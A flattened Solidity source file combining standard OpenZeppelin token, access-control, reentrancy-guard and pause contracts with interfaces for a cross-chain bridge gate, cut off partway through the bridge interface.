// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "../interfaces/IERC20Permit.sol";
interface IDeBridgeToken is IERC20Upgradeable, IERC20Permit {
function mint(address _receiver, uint256 _amount) external;
function burn(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IDeBridgeTokenDeployer {
function deployAsset(
bytes32 _debridgeId,
string memory _name,
string memory _symbol,
uint8 _decimals
) external returns (address deTokenAddress);
event DeBridgeTokenDeployed(
address asset,
string name,
string symbol,
uint8 decimals
);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ISignatureVerifier {
/* ========== EVENTS ========== */
event Confirmed(bytes32 submissionId, address operator); // emitted once the submission is confirmed by the only oracle
event DeployConfirmed(bytes32 deployId, address operator); // emitted once the submission is confirmed by one oracle
/* ========== FUNCTIONS ========== */
function submit(
bytes32 _submissionId,
bytes memory _signatures,
uint8 _excessConfirmations
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IWETH {
function deposit() external payable;
function withdraw(uint256 wad) external;
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IDeBridgeGate {
/* ========== STRUCTS ========== */
struct TokenInfo {
uint256 nativeChainId;
bytes nativeAddress;
}
struct DebridgeInfo {
uint256 chainId; // native chain id
uint256 maxAmount; // maximum amount to transfer
uint256 balance; // total locked assets
uint256 lockedInStrategies; // total locked assets in strategy (AAVE, Compound, etc)
address tokenAddress; // asset address on the current chain
uint16 minReservesBps; // minimal hot reserves in basis points (1/10000)
bool exist;
}
struct DebridgeFeeInfo {
uint256 collectedFees; // total collected fees
uint256 withdrawnFees; // fees that already withdrawn
mapping(uint256 => uint256) getChainFee; // whether the chain for the asset is supported
}
struct ChainSupportInfo {
uint256 fixedNativeFee; // transfer fixed fee
bool isSupported; // whether the chain for the asset is supported
uint16 transferFeeBps; // transfer fee rate nominated in basis points (1/10000) of transferred amount
}
struct DiscountInfo {
uint16 discountFixBps; // fix discount in BPS
uint16 discountTransferBps; // transfer % discount in BPS
}
/// @param executionFee Fee paid to the transaction executor.
/// @param fallbackAddress Receiver of the tokens if the call fails.
struct SubmissionAutoParamsTo {
uint256 executionFee;
uint256 flags;
bytes fallbackAddress;
bytes data;
}
/// @param executionFee Fee paid to the transaction executor.
/// @param fallbackAddress Receiver of the tokens if the call fails.
struct SubmissionAutoParamsFrom {
uint256 executionFee;
uint256 flags;
address fallbackAddress;
bytes data;
bytes nativeSender;
}
struct FeeParams {
uint256 receivedAmount;
uint256 fixFee;
uint256 transferFee;
bool useAssetFee;
bool isNativeToken;
}
/* ========== PUBLIC VARS GETTERS ========== */
function isSubmissionUsed(bytes32 submissionId) external returns (bool);
/* ========== FUNCTIONS ========== */
/// @dev Locks asset on the chain and enables minting on the other chain.
/// @param _tokenAddress Asset identifier.
/// @param _receiver Receiver address.
/// @param _amount Amount to be transfered (note: the fee can be applyed).
/// @param _chainIdTo Chain id of the target chain.
function send(
address _tokenAddress,
uint256 _amount,
uint256 _chainIdTo,
bytes memory _receiver,
bytes memory _permit,
bool _useAssetFee,
uint32 _referralCode,
bytes calldata _autoParams
) external payable;
/// @dev Unlock the asset on the current chain and transfer to receiver.
/// @param _debridgeId Asset identifier.
/// @param _receiver Receiver address.
/// @param _amount Amount of the transfered asset (note: the fee can be applyed).
/// @param _nonce Submission id.
function claim(
bytes32 _debridgeId,
uint256 _amount,
uint256 _chainIdFrom,
address _receiver,
uint256 _nonce,
bytes calldata _signatures,
bytes calldata _autoParams
) external;
function flash(
address _tokenAddress,
address _receiver,
uint256 _amount,
bytes memory _data
) external;
function getDefiAvaliableReserves(address _tokenAddress) external view returns (uint256);
/// @dev Request the assets to be used in defi protocol.
/// @param _tokenAddress Asset address.
/// @param _amount Amount of tokens to request.
function requestReserves(address _tokenAddress, uint256 _amount) external;
/// @dev Return the assets that were used in defi protocol.
/// @param _tokenAddress Asset address.
/// @param _amount Amount of tokens to claim.
function returnReserves(address _tokenAddress, uint256 _amount) external;
/// @dev Withdraw fees.
/// @param _debridgeId Asset identifier.
function withdrawFee(bytes32 _debridgeId) external;
function getNativeTokenInfo(address currentTokenAddress)
external
view
returns (uint256 chainId, bytes memory nativeAddress);
function getDebridgeChainAssetFixedFee(
bytes32 _debridgeId,
uint256 _chainId
) external view returns (uint256);
/* ========== EVENTS ========== */
event Sent(
bytes32 submissionId,
bytes32 indexed debridgeId,
uint256 amount,
bytes receiver,
uint256 nonce,
uint256 indexed chainIdTo,
uint32 referralCode,
FeeParams feeParams,
bytes autoParams,
address nativeSender
// bool isNativeToken //added to feeParams
); // emited once the native tokens are locked to be sent to the other chain
event Claimed(
bytes32 submissionId,
bytes32 indexed debridgeId,
uint256 amount,
address indexed receiver,
uint256 nonce,
uint256 indexed chainIdFrom,
bytes autoParams,
bool isNativeToken
); // emited once the tokens are withdrawn on native chain
event PairAdded(
bytes32 debridgeId,
address tokenAddress,
bytes nativeAddress,
uint256 indexed nativeChainId,
uint256 maxAmount,
uint16 minReservesBps
); // emited when new asset is supported
event ChainSupportUpdated(uint256 chainId, bool isSupported, bool isChainFrom); // Emits when the asset is allowed/disallowed to be transferred to the chain.
event ChainsSupportUpdated(
uint256 chainIds,
ChainSupportInfo chainSupportInfo,
bool isChainFrom); // emited when the supported assets are updated
event CallProxyUpdated(address callProxy); // emited when the new call proxy set
event AutoRequestExecuted(
bytes32 submissionId,
bool indexed success,
address callProxy
); // emited when the new call proxy set
event Blocked(bytes32 submissionId); //Block submission
